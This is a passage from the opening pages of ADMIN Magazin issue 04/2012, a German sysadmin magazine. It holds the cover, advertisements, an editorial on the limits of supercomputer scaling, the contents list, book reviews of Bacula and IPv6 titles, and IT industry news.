ADMIN Magazin Eigene Server gegen Angreifer schützen (Vorschau)

Perl: Datenbank-Zugriff Galera: Freie Clustermit 

dem DBI-Modul 

Software für MySQL 

ADMIN 

Windows 

Netzwerk & Security 

n Unix-Umgebung per Gow 

n Im Test: System Center 2012 

Virtualisierung 

n KVM-Storage optimiert 

n Deltacloud: API für Clouds 

Crashdumps: Diagnose 

für Linux-Kernel-Crashs 

04 2012 

Juli – Aug. 

Abgeschirmt 

Eigene Server gegen Angreifer schützen 

Spurensicherung durch Forensik 

Risiken: IPv6 und Webserver 

Linux-Schutz mit Grsecurity 

Auf Heft-CD: 

System Rescue CD 

Neue Version 2.8.0 

VIRTUALISIERUNGs-RubRIK 

Jetzt in JEDEM HEFT 

SSD-Cache 

Die perfekte Synthese: 

SSD als Festplatten-Cache 

Link Aggregation 

Für mehr Performance 

und Ausfallsicherheit 

Backup 

Drei leistungsfähige 

Open-Source-Lösungen 

www.admin-magazin.de 

D EUR 9,80 

A EUR 10,80 - BeNeLux EUR 11,25 

CH sfr 19,60 - E / I EUR 12,75 

4 196360 509805 04

Server 

die mitwachsen 

Managed Hosting im Failover-Cluster 

Professionelles Hosting 

Individuelle Hostinglösungen vom Server 

bis zum Clustersystem inklusive Beratung, 

Planung und Service 24/7. 

Für mehr Performance, Sicherheit und 

Verfügbarkeit, jeden Tag, rund um die Uhr. 

hostserver.de/server 

Sicherheit im Failover-Cluster: 

ISO 9001 zertifiziertes 

Managed Hosting 

Hochsicherheits-Datacenter 

in Frankfurt/Main 

DE-CIX Direktanbindung 

Umfassender Datenschutz 

nach BDSG 

24/7 Service und Support 

0 30 / 420 200 24 hostserver.de 

Berlin Marburg Frankfurt am Main 

Managed Hosting 

zertifiziert nach 

ISO 9001 : 2008

The writing on the wall 

Editorial 

The writing on the wall 

Jahrzehntelang schien alles klar: Die Anzahl der Transistoren pro Chip verdoppelte 

sich entsprechend der vom Intel-Mitbegründer Gordon Moore gefundenen Regel etwa 

alle zwei Jahre, und entsprechend wuchs auch die Rechenleistung exponentiell: Auf 

den Intel 80286 mit über 100 000 Transistoren und rund 2,66 MIPS im Jahr 1982 

folgte nach etwas mehr als drei Verdoppelungen im Zwei-Jahres-Turnus 1989 der 

80486 mit über einer Million Transistoren und der zehnfachen Rechenleistung. Zehn 

Jahre später war es regelkonform der Pentium III mit knapp 10 Millionen Transistoren 

und über 2000 MIPS. Über eine Milliarde Transistoren zählte man auf dem Dualcore 

Athlon FX 60 von AMD, der es 2006 vorhersehbar auf fast 20 000 MIPS brachte. Heutige 

Prozessoren wie der Intel Core i7 2600K in Sandy-Bridge-Technologie haben den 

halben Weg zu den 200 000 MIPS bereits zurückgelegt. 

Die Supercomputer, deren Leistung man eher in Floating-Point- statt Integer-Operationen pro Sekunde misst, hielten 

sich genauso an das Gesetz: 1997 der erste Teraflop-Rechner, 2008 fiel die Petaflop-Barriere, ab 2018 wird der erste 

Exaflop-Computer erwartet. Das bekräftigte gerade erst die International Supercomputing Conference in Hamburg. 

Sicher ist das aber nicht, und spätestens danach wird die Bilderbuchkarriere der weltschnellsten Rechner womöglich 

abreißen, denn überall zeichnen sich gewichtige Probleme ab. 

Nicht zuerst bei den Transistoren, die werden das Tempo noch eine Weile halten, obwohl sich auch da ein Menetekel 

andeutet: Die weitere Miniaturisierung wird in die Dimension atomarer Strukturen führen, die prinzipiell nicht mehr 

verkleinerbar sind. Man wird sich etwas Intelligenteres einfallen lassen müssen. 

Wahrscheinlich aber bereits zuvor stößt die Entwicklung beim Stromverbrauch an eine harte Grenze. In heutiger 

Technik würde ein Exaflop-Rechner 400 MW verbrauchen, so viel wie ein durchschnittliches konventionelles Kraftwerk 

leistet. Ein Großteil dieser Energie verwandelt sich in Wärme, die abgeführt werden muss. Das wäre momentan 

weder mach- noch finanzierbar. Die Zielgröße liegt bei maximal 20 MW pro Superrechner. Um sie zu erreichen, wird 

man sich etwas Intelligenteres einfallen lassen müssen. 

Ähnliches gilt für den Platzbedarf. Schon der erste Petaflop-Rechner brauchte rund 300 Racks, obwohl er noch um 

den Faktor 1000 vom Exaflop-Fernziel entfernt war. 300 000 Racks könnte man nirgendwo aufstellen. Als Obergrenze 

gelten höchstens 500. Man wird sich etwas Intelligenteres einfallen lassen müssen. 

Eine weitere Herausforderung ist die Programmierbarkeit und Zuverlässigkeit. Es wird darum gehen, zig Millionen 

Cores, Milliarden gleichzeitiger Operationen, Dutzende Petabyte Hauptspeicher zu managen und damit klarzukommen, 

dass sich in diesem gigantischen System wahrscheinlich jede Sekunde irgendwo ein Fehler ereignet. Gleichzeitig 

muss man diese unvorstellbare Rechenkraft auf die Straße bringen, damit sie nutzbar wird. Ein Rechner-Exot, den nur 

sein Guru programmieren kann, ist sinnlos. Heutige Tools und Softwarestacks helfen bei einer Aufgabe dieser Größenordnung 

nicht weiter. Man wird sich etwas Intelligenteres einfallen lassen müssen. 

Schließlich geht es auch um den Preis. Aktuelle Spitzensysteme kosten mehrere Hundert Millionen Dollar. Die Stunde 

Rechenzeit hat dadurch den Gegenwert eines Kleinwagens. Billiger wird es nicht. Wer soll das bezahlen? Und wofür? 

Sequoia, der schnellste Computer der Welt, rechnet heute an der Simulation von Atomwaffentests. 

Man wird sich etwas Intelligenteres einfallen lassen müssen. 

@ leserbriefe@admin-magazin.de 

www.facebook.com/adminmagazin www.twitter.com/admagz 


Admin 

Ausgabe 04-2012 

3

Service 



Inhalt 

04/2012 

Wie man den Gefahren in Web und 

LAN begegnet — ein Schwerpunkt zum 

Thema Websecurity und mehr (ab S. 34) 

Honeypots sind die 

46Fallensteller 

Locktöpfe, die Admins 

für Eindringlinge aufstellen. 

Login 

Netzwerk 

Schwerpunkt: Security 

8 Vorgelesen 

Bücher zu Open-Source-Backup mit 

Bacula und IPv6. 

24 Dicke Leitung 

Link Aggregation realisiert mehr Durchsatz 

und Redundanz. 

40 Die Pflichten des Protokolls 

Unbeachtete IPv6-Features können das 

lokale Netz gefährden. 

10 Branchen-News 

Neues von Firmen und Projekten. 

16 Admin-Story 

Continuous Integration mit Jenkins. 

18 Recht bei Mailarchivierung 

Eine Anwältin erläutert, welche Mails 

man wie lange aufheben muss. 

Service 

3 Editorial 

4 Inhalt 

6 Heft-CD 

130 Impressum und Vorschau 

28 Schweizer Netzwerkmesser 

Die kostenlose Netshell bietet unter Windows 

fortgeschrittene Einstelloptionen 

fürs Netz. 

Schwerpunkt: Security 

34 Spurensicherung 

Die forensische Analyse des Arbeitsspeichers 

unter Linux. 

46 Fallensteller 

Effektivere Honeypots durch Sensoren 

auf Produktivsystemen. 

52 Seitenkanäle mit Untiefen 

Manche Webanwendungen spielen 

Angreifern unfreiwillig Informationen zu. 

56 Grsecurity 

Ein Kernel-Patch verbessert die Sicherheit 

durch rollenbasierten Schutz. 

4 Ausgabe 04-2012 Admin www.admin-magazin.de

Inhalt 

Service 

70 

Oldie but Goldie 

Alte Hasen chatten 

immer noch am 

liebs ten über das IRC-Protokoll. 

KVM-Virtualisierung 

bietet di- 

118Abgerundet 

verse Optionen für Storage. 

gut geführt 

Hilfestellungen auf 

96Benutzer 

Konsole und Desktop. 

Know-how 

64 Flugschreiber 

Kernel-Crashdumps konfigurieren und 

auswerten. 

82 Hochgeschwindigkeit 

Aus dem Facebook-Labor: SSDs als 

Cache für Festplattenspeicher. 

Basics 

94 In Harmonie 

Die Alternative zu Cygwin: ballaststoffarme 

Unix-Umgebung in Windows. 

70 Oldie but Goldie 

Einen eigenen IRC-Server für das Unternehmen 

aufsetzen. 

88 Abgesichert 

Ein neuer Cluster für MySQL vermeidet 

alte Beschränkungen. 

96 Benutzer gut geführt 

Auf dem Desktop und in der Konsole 

Benutzer vor Abwegen bewahren. 

76 Wettkampf 

Drei neue Open-Source-Lösungen: 

Netzwerk-Backup mit Burp, Obnam und 

Backshift. 

99 Verschwägert 

Der verschollene Verwandte bietet 

gegenüber Linux einige Vorzüge: 

FreeBSD 9 installieren und testen. 

Test 

102 Das vierte Programm 

Die Hadoop-Distribution von Cloudera 

will den Cluster-Einsatz vereinfachen. 

106 An vorderster Front 

Fedora 17 bringt Ovirt fürs Virtualisierungsmanagement. 

110 Rundum sorglos 

Microsoft System Center 2012 — Management 

in der Cloud. 


114 Anschlussfreudig 

Das Deltacloud- 

Projekt bietet 

eine API zum 

Zugriff auf viele 

Clouds. 

118 Abgerundet 

Die optimale Disk-Konfiguration führt 

zu besserer Performance bei KVM- 

Virtualisierung. 

Programmieren 

124 Go 

Schnörkellos 

und praxisnah: 

die Google- 

Programmiersprache 

Go. 

127 Perl-DBI 

Die Programmierschnittstelle zum 

herstellerübergreifenden Zugriff auf 

Datenbanken benutzen. 

Mehr Infos auf Seite 6 

Retter in der Not 

n Alle Tools zur Systemwiederherstellung auf einer CD 

n Im Desasterfall partitionieren, formatieren und Daten 

restaurieren von einer bootbaren Rettungs-CD 

www.admin-magazin.de Admin Ausgabe 04-2012 

5

SErvice 

Heft-CD 

Heft-CD 

Auf dem beiliegenden Datenträger finden Sie die neueste 

Version 2.8.0 der System Rescue CD [1], einer bootbaren CD 

für Systemrettung und andere Aufgaben. 

◗ Inklusive Tools für Partitionierung, Speichertest, Dateimanager, 

Backup & Restore [2]. 

◗ Unterstützt eine Vielzahl von Dateisystemen, darunter 

Ext2/3/4, Btrfs, ReiserFS, XFS, JFS, VFAT, NTFS und 

HFS. 

◗ 32-Bit- und 64-Bit-Modus, Linux-Kernel 3.2 mit Long 

Term Support. 

Legen Sie einfach die CD in das Laufwerk ein, und starten 

Sie den Rechner. Möglicherweise müssen Sie noch im 

BIOS die richtige Boot-Reihenfolge einstellen, damit das 

Laufwerk vor der Festplatte an die Reihe kommt. n 

Info 

CD kaputt? 

Wir schicken Ihnen kostenlos eine 

Ersatz-CD zu, E-Mail genügt: 

info@admin-magazin.de 

[1] Projektseite: [http://www.sysresccd.org] 

[2] Informationen zu den enthaltenen Tools: 

[http://www.sysresccd.org/System-tools] 

6 Ausgabe 04-2012 

Admin www.admin-magazin.de

BUCHEN SIE BIS ZU 

VIRTUELLE 

99 MASCHINEN! 

1&1 DYNAMIC CLOUD SERVER: BLITZSCHNELL 

MEHR POWER NUTZEN! 

Jetzt 100 und heute Abend 1.000 Kunden? 

Kein Problem! 

■ NEU! Leistungserhöhung und Leistungsreduktion 

jederzeit flexibel nach Bedarf einstellbar 

■ NEU! Performance Features: bis zu 6 CPU, bis zu 

24 GB RAM und bis zu 800 GB HDD 

■ NEU! Jederzeit weitere Virtuelle Maschinen zubuchbar 

■ NEU! Stundengenaue Abrechnung 

■ NEU! Management und Monitoring Ihrer Server- 

Dienste im Browser oder per Mobile-App 

■ Hosting in den sicheren 1&1 Hochleistungs-Rechenzentren 

■ Linux- oder Windows-Betriebssystem, 

bei Bedarf Parallels Plesk Panel 10 unlimited vorinstalliert 

■ Eigene dedizierte Server-Umgebung mit vollem Root-Zugriff 

■ Eigenes SSL-Zertifikat 

■ 24/7 Hotline und Support 

1&1 DYNAMIC CLOUD SERVER 

3 MONATE FÜR 

0,–€/Monat, danach 

ab 39,99 €/Monat* 

Infos und 

Bestellung: 

0 26 02 / 96 91 

0800 / 100 668 www.1und1.info 

* 1&1 Dynamic Cloud Server Basiskonfi guration 3 Monate 0,– €/Monat, danach 39,99 €/Monat. Performance Features ab 0,01 € pro Stunde und Einheit zubuchbar. Konfi guration und 

Leistungsberechnung jeweils stundengenau. Einmalige Einrichtungsgebühr 39,– €. 12 Monate Mindestvertragslaufzeit. Preise inkl. MwSt.

Login 

Bücher 

Bücher über Bacula und IPv6 

Vorgelesen 

Diesen Monat beschäftigen sich die beiden Bücher im Lesetest mit der 

Open-Source-Backup-Lösung Bacula und dem IPv6-Protokoll. 

Jens-Christoph Brendel, Oliver Frommel 

Backup-Software für Linux gibt es überreichlich. 

Ein guter Teil davon ist freie 

Software. Aber solche, die auch andere 

Unixe oder sogar Windows-Clients sichert, 

ist schon viel seltener. Und wenn 

dann noch die Anforderungen einer Produktivumgebung 

berücksichtigt werden 

sollen: Zuverlässigkeit, Skalierbarkeit, 

Wartbarkeit – da fällt dem Admin nicht 

viel mehr als ein Name ein: Bacula. Nun 

ist das erste Buch über Bacula erschienen, 

noch dazu in deutscher Sprache. 

Der Autor Philipp Storz beschäftigt sich 

schon jahrelang mit der Backupsoftware 

und gehörte mit seiner Firma dassIT zu 

den ersten Partnern der Entwicklerfirma 

Bacula Inc. Von seinem fundierten Knowhow 

profitiert der Leser, den das Buch 

systematisch in die Materie einführt. Angefangen 

von Installation und Konfiguration 

über Erläuterungen zu den verschiedenen 

Backup-Strategien und Konzepten 

bis zur nicht ganz trivialen Konfiguration 

der verschiedenen Daemons und ihres 

Zusammenspiels. 

Ein weiteres Kapitel wendet sich der mit 

Bacula verwendbaren Hardware zu, vornehmlich 

Platten, Bandlaufwerken und 

Tape Libraries und ihrer Ansteuerung als 

Sicherungsmedien unter Bacula. Im Anschluss 

geht es um die Bedienung der 

Application via Bacula Console auf der 

Kommandozeile. GUIs, die es zumindest 

im Ansatz gibt, kommen nicht vor. 

Weitere Kapitel dringen noch weiter in die 

Materie vor und diskutieren die verschiedenen 

Optionen bei File Sets (Rechte, 

Meta-Daten, Filter und so weiter) oder 

spezielle Einstellungen für Zeitpläne oder 

Benachrichtigungen. Auch das Thema 

Bacula in größeren Umgebungen kommt 

aufs Tapet. Es werden noch einmal verschiedene 

Sicherungsstrategien und ihre 

Umsetzung in Bacula beleuchtet, wie 

auch das Feature, den Ist-Zustand mit 

älteren Versionen zu vergleichen, ohne 

sich auf Zeitstempel zu verlassen. 

Ein eigenes Kapitel behandelt das Disaster 

Recovery und die dabei nötigen 

Werkzeuge. Schließlich kommt auch 

die Fehlersuche in Bacula-Installationen 

nicht zu kurz. Alles in allem ein umfassendes 

Nachschlagewerk für alle Bacula- 

Anwender, Einsteiger ebenso wie Fortgeschrittene. 

IPv6 

Seit dem 6. Juni 2012 läuft das Internet 

offiziell auch mit IPv6. Jedenfalls, 

wenn es nach dem Willen der obersten 

Internet-Behörden gehen soll. Tatsächlich 

verwendet derzeit etwa ein Prozent der 

Internet-Hosts das IPv6-Protokoll. 

Dennoch tritt es langsam aber sicher 

auch seinen Weg in die Firmennetze an 

und provoziert den Administrator zur 

Weiterbildung. Bücher gibt es auf dem 

deutschsprachigen Markt nicht sehr viele, 

eines davon ist „IPv6 – Das Praxisbuch“ 

von Dirk Jarzyna, das im mitp-Verlag 

erschienen ist. 

Obwohl der Titel groß „IPv6“ ankündigt, 

beschäftigt sich das Buch zur Hälfte mit 

dem IPv4-Protokoll. Der Klappentext begründet 

dies damit, dass ein Verständnis 

von IPv6 einen Vergleich der Protokollfamilien 

voraussetze – eine Argumentation, 

der man nicht unbedingt folgen muss. 

So ist die detaillierte Erklärung von TCP/ 

IP- und OSI-Schichtenmodell nur für absolute 

Einsteiger von Nutzen, kaum für 

gestandene Administratoren, die sich nun 

in IPv6 einarbeiten wollen. Weitere Kapitel 

über TCP, Subnetz-Bildung, Adressierung, 

Subnetting und Routing folgen, 

wohlgemerkt mit IPv4. 

Der zweite Teil handelt die entsprechenden 

Punkte zu IPv6 beinahe knapper 

ab, aber immerhin sind die wichtigsten 

Aspekte angesprochen. Praktische Aspekte 

wie Dual-Stack-Betrieb und IPv6- 

Anbindung per Tunnels erklärt das Buch 

knapp, hier wären ausführlichere Erklärungen 

sicher möglich. Lobenswert ist 

ein eigenes Kapitel zu Sicherheitsaspekten 

bei IPv6, das kurz auf mögliche neue 

Angriffsvektoren eingeht. 

Insgesamt kommt der praktische Aspekt 

des „Praxishandbuchs“ deutlich zu kurz. 

Auch ist es kaum verständlich, warum 

das IPv4-Protokoll in einem Buch zu IPv6 

einen derart großen Umfang einnimmt. 

Wenn man die Knappheit der Darstellung 

als Vorzug versteht, ist das IPv6- 

Praxishandbuch ein kurzes Kompendium 

zu TCP/IP, das auch einen Einstieg in das 

IPv6-Protokoll liefert. 

n 

Bacula 

Philipp Storz 

Bacula 

447 Seiten 

Open Source Press 

46 Euro 

ISBN: 3941841416 

IPv6 

Dirk Jarzyna 

IPv6 – Das Praxisbuch 

245 Seiten 

mitp 

24,95 Euro 

ISBN: 3826691172 


WWW.VIEWEGTEUBNER.DE 

springer-vieweg.de 

Fachbücher zur IT-Sicherheit 

Heinrich Kersten, Klaus-Dieter Wolfenstetter 

IT-Sicherheitsmanagement nach ISO 27001 und Grundschutz 

Der Weg zur Zertifizierung 

3., akt. und erw. Aufl. 2011. XVI, 363 S. mit 4 Abb. u. 20 Tab. (Edition ) Br. € (D) 54,95 

ISBN 978-3-8348-1599-6 

Das Buch führt den Leser Schritt für Schritt in diese Standards ein und legt verständlich dar, wie man ein adäquates 

Management-System (ISMS) aufbaut.Viele kommentierte Maßnahmen unterstützen Sicherheitsverantwortliche 

bei der Auswahl geeigneter Sicherheitsmaßnahmen in allen Bereichen. Zusätzlich erhält der Leser 

detaillierte Informationen zu internen und externen Audits sowie der Zertifizierung nach ISO 27001. 

Diese erweiterte 3. Auflage des Buches berücksichtigt neu hinzugekommene Normen der ISO 2700x Reihe 

und vertieft die Themen Risikoanalyse, Messung der Sicherheit sowie die Schnittstelle zum IT-Grundschutz 

des BSI, der sich nahtlos an die genannten Standards anschließt. 

Klaus-Rainer Müller 

IT-Sicherheit mit System 

Integratives IT-Sicherheits-, Kontinuitäts- und Risikomanagement - Sicherheitspyramide - Standards und 

Practices - SOA und Softwareentwicklung 

4., neu bearb. und erw. Aufl. 2011. XXVI, 577 S. mit 38 Abb. Geb. € (D) 79,95 

ISBN 978-3-8348-1536-1 

Mit diesem Buch identifizieren Sie Risiken, bauen wegweisendes effizienzförderndes Handlungswissen auf, 

richten Ihre IT sowie deren Prozesse, Ressourcen und die Organisation systematisch und effektiv auf Sicherheit 

aus und integrieren Sicherheit in den IT-Lebenszyklus. Der Autor führt Sie von der Politik bis zu Konzepten und 

Maßnahmen. Beispiele und Checklisten unterstützen Sie und der Online-Service des Autors bietet Ihnen zusätzliche 

News, Links und ergänzende Beiträge. 

Gerhard Klett, Klaus-Werner Schröder, Heinrich Kersten 

IT-Notfallmanagement mit System 

Notfälle bei der Informationsverarbeitung sicher beherrschen 

2011. XII, 200 S. mit 17 Abb. u. 14 Tab. (Edition ) Br. € (D) 34,95 

ISBN 978-3-8348-1288-9 

Im Buch werden nach einem Praxisbericht u. a. folgende Themen behandelt: Business Impact Analysis, 

Business Continuity nach ISO 27001, Notfallvorsorge nach IT-Grundschutz, Notfall-Leitlinie, Notfallorganisation, 

Wiederanlaufplanung, Notbetrieb, Hot-, Warm- und Cold-Standby. Präventive Maßnahmen zur Notfallverhinderung 

werden ebenso behandelt wie Maßnahmen zur Notfallbewältigung und die Notfall-Dokumentation. 

Ralf-T. Grünendahl, Andreas F. Steinbacher, Peter H.L. Will 

Das IT-Gesetz: Compliance in der IT-Sicherheit 

Leitfaden für ein Regelwerk zur IT-Sicherheit im Unternehmen 

2., akt. Aufl. 2012. XII, 358 S. mit 34 Abb. u. 27 Tab. Br. € (D) 49,95 

ISBN 978-3-8348-1680-1 

Das Buch richtet sich an Führungskräfte und Sicherheitsbeauftragte, die vor der Aufgabe stehen, 

Regelungen zur IT-Sicherheit für ihr Unternehmen zu definieren. Dieses Buch liefert dazu eine konkrete 

Anleitung. Es basiert auf internationalen Standards wie BSI Grundschutz-Handbuch, Cobit und ITIL. 

Einfach bestellen: SpringerDE-service@springer.com Telefon +49 (0)6221 / 3 45 – 4301 

Änderungen vorbehalten. Erhältlich im Buchhandel oder beim Verlag. Innerhalb Deutschlands liefern wir versandkostenfrei.

Login 

News 

+++ neueste Nachrichten immer auf http://www.admin-magazin.de +++++ neueste Nachrichte 

Neue Software und Produkte 

Branchen-News 

Mitgliederzuwachs bei der Linux Foundation 

Die Linux Foundation kann sich über einen 

weiteren Sponsor ihrer Aktivitäten 

rund um das freie Betriebssystem freuen. 

Samsung Electronics hat sich als sogenanntes 

Platin-Mitglied beworben. Mit 

Adeneo, Feuerlabs, Omnibond, Stec und 

Synopsys kann die Linux Foundation zudem 

fünf neue Mitglieder im Silber-Status 

begrüßen. 

Samsung möchte mit der Mitgliedschaft 

einen Beitrag für die Weiterentwicklung 

von Linux leisten. Der koreanische Konzern 

will sich auch an der Kernel-Entwicklung 

beteiligen. 

Die mittlerweile sieben Platin-Mitglieder 

zahlen jährlich je einen Beitrag 500.000 

US-Dollar und bekommen einen Sitz im 

Board of Directors der Stiftung. 

Jim Zemlin, Direktor der Linux Found ation 

sieht eine Win-Win-Situation, Samsung 

festige damit seine Erfolgsstrategie. Ein 

sogenannter Silver Member zahlt, abhängig 

von der Firmengröße, einen Jahresbeitrag 

zwischen 5000 und 20.000 US-Dollar. 

Ihre Mitglieder hat die Linux Foundation 

im Web [http://www.linuxfoundation.org/about/ 

members] aufgelistet. 

Top 500: Der Viertschnellste steht in München 

Im Rahmen der Opening Session der International 

Supercomputing Conference 

ISC ’12 in Hamburg wurde die 39te Liste 

der 500 schnellsten Computer der Welt 

präsentiert. 

Der neue Spitzenreiter, das Sequoia- 

System (IBM BlueGene/Q) des Lawrence 

Livermore National Laboratory in den 

USA, erreicht unter Linux mit insgesamt 

1 572 864 Cores einen maximalen Linpack-Wert 

von 16 324,8 Teraflops (16,32 

Petaflops). Auf dem Fuß folgt ihm der 

japanische K-Computer mit Sparc64- 

CPUs, der vormalige Spitzenreiter, mit 10 

510 Teraflops. Schon auf Platz vier findet 

sich der eben erst in Betrieb genommene 

SuperMUC des Leibniz-Rechenzentrums 

der TU München, der schnellste Rechner 

in Europa, der immerhin 2 897 Teraflops 

Der SuperMUC des Leibniz-Rechenzentrums ist der schnellste Rechner in Europa. 

© LRZ 

aufzubieten hat und von IBM installiert 

wurde. 

IBM dominiert auch wie in den Jahren 

zuvor souverän die Rangfolge der erfolgreichsten 

Hersteller von Supercomputern: 

213 der Top500 stammen von ihm, was 

einen Anteil von 43 Prozent ausmacht. 

Auf Platz zwei findet sich HP mit 27 Prozent 

Anteil, andere Hersteller wie Dell, 

Fujitsu, Cray oder Bull kommen nur auf 

einstellige Prozentwerte. Untersucht man 

die Verteilung der Superrechner nach Regionen, 

dann entfallen die Hälfte der Installationen 

auf die USA. Bereits auf dem 

zweiten Platz folgt mit 14 Prozent China, 

das in den letzten Jahren sehr stark an 

Wachstum zugelegt hat. Deutschland (4 

Prozent) spielt in einer Liga mit Frankreich 

(4 Prozent) oder England (5 Prozent), 

stellt aber mit dem Rechner Ju- 

Queen des Forschungszentrums Jülich 

immerhin ein zweites System unter den 

Top 10 (Platz 8). 

Bei den Prozessoren hat Intel seit Jahren 

ebenso unangefochten die Nase vorn wie 

IBM bei den Herstellern: Rechnet man 

die verschiedenen Intel-Prozessortypen 

zusammen, kommt man auf einen Anteil 

über 70 Prozent. Dabei sterben Dual-Coreund 

selbst Quad-Core-Systeme langsam 

aus, der Trend geht zu 8 bis 16 Kernen 

pro CPU. 

Eines der nach wie vor am meisten diskutierten 

Themen auf der Konferenz ist 

die Energieeffizienz. Würde der gegenwärtige 

Trend fortbestehen, müsste ein 

Superrechner zum Ende der laufenden 

Dekade, wenn man den Durchbruch 

zum Exaflop-Computing erwartet, acht 

bis neun Megawatt Strom verbrauchen. 

Allerdings hofft man, diesen Wert bis 

dahin deutlich senken zu können und 

konzentriert große Forschungskapazitäten 

auf dieses Ziel. 

Die International Supercomputing Conference 

begrüßte dieses Jahr die Rekordzahl 

von über 2100 Teilnehmer aus 55 

Ländern, die in mehr als 30 Sessions 

über 100 Vortragenden folgen werden. 

Nachdem sie in diesem Jahr zum vierten 

Mal in Hamburg stattfand, wird der 

Austragungsort im nächsten Jahr nach 

Leipzig wechseln. 


n immer auf http://www.admin-magazin.de 

Anmeldestart für Open-Suse-Konferenz 

Die Anmeldung zur Open-Suse-Konferenz, die vom 20. bis 23. 

Oktober 2012 in Prag stattfindet, ist eröffnet. Auch Beiträge 

zum Programm werden noch angenommen. Dabei beherbergt 

die technische Universität Prag gleichzeitig drei weitere Treffen: 

die Gentoo Miniconf, die tschechischen Linux Days, einen Track 

namens Future Media sowie die Suse Labs Conference. 

Die kostenlose Registrierung ist per Webformular möglich. Wer 

die Veranstaltung unterstützen möchte, kann ein Supporter-Paket 

für 40 Euro oder den Professional-Tarif für 250 Euro wählen. 

Förderer nehmen am Dinner der Referenten teil, Professionals 

treffen sich zudem mit dem Suse-Management. 

Weitere Informationen zur Veranstaltung gibt es auf einer Portalseite 

[http://en.opensuse.org/Portal:Conference] im Open-Suse-Wiki. 

Interessierte Sprecher sind eingeladen, Beiträge einzureichen. 

TM 

MobyDick 

D i e Z u k u n f t der Telefonie 

Mit der MobyDick Telefonanlage haben Sie alle Fäden selbst in 

der Hand. Außerdem verbinden Sie die Features modernster 

Telefonie mit den Vorteilen von Voice over IP. 

Die Kommunikationslösung für Ihr 

Unternehmen 

Die Open-Suse-Konferenz, die im Oktober in Prag stattfindet, beheimatet noch 

weitere Events rund um Open Source. 

Btrfs-Chefentwickler verlässt Oracle 

Chris Mason, der Hauptentwickler des Linux-Dateisystems 

Btrfs, wechselt kommende Woche von seinem bisherigen Arbeitgeber 

Oracle zum SSD-Storage-Hersteller Fusion-IO. Dies 

teilt er in einer Nachricht an die Btrfs-Mailingliste mit. An der 

Entwicklung von Btrfs soll sich dadurch nichts ändern. Oracle 

soll weiterhin Btrfs in seinen Linux-Produkten einsetzen, Mason 

wird künftig Auftrag von Fusion-IO an Btrfs arbeiten. 

Btrfs wird bereits seit Längerem als das kommende Linux- 

Dateisystem gehandelt, das unter anderem Snapshots und RAID 

beherrscht. Allerdings gilt es immer noch nicht als völlig ausgereift, 

wenngleich Oracle und Suse das Dateisystems in ihre 

Distributionen aufgenommen haben. 

Oracle vs. Google: kein Copyright auf APIs 

In dem Gerichtsverfahren zwischen Oracle und Google, in 

dem es darum geht, inwieweit die Android-Plattform Oracles 

Rechte am „geistigen Eigentum“ vom Java verletzt, hat der 

vorsitzende Richter Alsup eine grundlegende Entscheidung 

getroffen: Programmierschnittstellen (APIs) fallen nicht unter 

das Urheberrecht. Solange sich der Code selbst unterscheidet, 

widerspreche es nicht dem geltenden Recht, eine API etwa mit 

gleich benannten Klassen und Methoden zu implementieren. 

Mit dieser Entscheidung ist ein weiteres Argument entkräftet, 

das Oracle gegen Google und die Android-Plattform in Anschlag 

gebracht hatte. Oracle will nun gegen das jüngste Urteil in 

Berufung gehen. 


Unified Communications: 

Telefon 

Video 

VoiceMail 

Präsenzmanager 

Instantmessaging 

FaxEmail Gateway 

PrintFax Gateway 

Conferencing 

Mehr Informationen finden Sie unter: 

http://www.pascom.net 

http://community.pascom.net 

NEU 

Kostenlose 

Community 

Version 

erhältlich 

pascom 

Netzwerktechnik GmbH & Co. KG 

Berger Straße 42 

94469 Deggendorf 

Tel.: +49 991 27006 - 0 


11

Login 

News 

+++ neueste Nachrichten immer auf http://www.admin-magazin.de +++++ neueste Nachrichte 

VMware virtualisiert Hadoop 

Das neue Serengeti-Projekt soll Hadoop-Installationen in virtualisierten 

Umgebungen und „Clouds“ erleichtern und ihre 

Performance verbessern. 

Die Firma VMware hat ein neues Open-Soure-Projekt ins Leben 

gerufen, das es ermöglichen soll, die Cluster-Software Hadoop 

einfacher und performanter in virtuellen Umgebungen zu betreiben. 

Unter dem Namen „Serengeti“ stellt es einen „One- 

Click-Installer“ bereit, der Hadoop in einem Netz virtualisierten 

Knoten installiert. Derzeit wird dabei nur die Virtualisierungslösung 

vSphere von VMware unterstützt, prinzipiell der Support 

anderer Systeme nicht ausgeschlossen. Mit Serengeti lassen 

sich außerdem auf Hadoop basierende Anwendungen wie Hive 

(Data Warehouse) und Pig (Analyse großer Datenmengen) 

installieren. 

Serengeti ist in Java geschrieben und steht als freie Software 

unter der Apache-Lizenz. Auf der Serengeti-Homepage steht das 

Image einer virtuellen vSphere-Appliance zum Download bereit. 

Künftig will VMware zusammen mit der Hadoop-Community 

daran arbeiten, dass Hadoop, das bisher auf Cluster physischer 

Rechner ausgelegt ist, besser mit virtualisierten Umgebungen 

funktioniert. So sollen beispielsweise das Hadoop Distributed 

File System (HDFS) und das Map-Reduce-Framework dahingehend 

optimiert werden. 

IPv6-Day: sieben Millionen Hosts 

Die monatliche Statistik des Internetspezialisten Netcraft kann 

pünktlich zum IPv6-Tag am 6. Juni auf Antworten von 7 Millionen 

Hostnames mit IPv6-Adresse verweisen. 

Die Mehrheit der IPv6-Hosts läuft unter dem Apache-Webserver 

(6,2 Millionen) Nginx folgt mit rund 400.000 Hostnamen. Insgesamt 

hat Netcraft in seiner Webserverstatistik [http://news. 

netcraft.com/archives/2012/06/06/june‐2012‐web‐server‐survey.html] den 

Apache-Server im Juni stark an Marktanteilen zulegen sehen. 

Fast 23 Millionen Hostnames mehr als im Vormonat sind auf 

Apache gehostet. Microsofts Webserver hat zwar 3,5 Millionen 

Hostnames hinzugewonnen, verliert aber trotzdem an Marktanteilen 

gegenüber der Konkurrenz. Nginx hat nach neun Monaten 

Wachstum im Juni leicht an Anteilen verloren. 

Unter [http:// www. worldipv6launch. org] gibt es Informationen zum 

Verlauf des IPv6-Tags. 

Lernunterlagen Linux Essentials 

Die Linup Front GmbH hat kostenlose Lernunterlagen für die 

vom Linux Professional Institute neu eingeführte Zertifizierung 

Linux Essentials veröffentlicht. Das Handbuch ist als PDF im 

Webshop von Linup Front [http://shop.linupfront.de/product/lxes/] 

herunterladbar. Zudem stehen die Unterlagen auch in Form 

einer Android-App zur Verfügung und lassen sich im Google- 

Play-Store finden. Die Unterlagen sind in deutscher Sprache 

gehalten, eine englische Fassung gibt es ergänzend. 

Mit dem Essentials-Programm möchte das LPI besonders Schüler 

und Studenten ansprechen. Diese Zielgruppe kann sich 

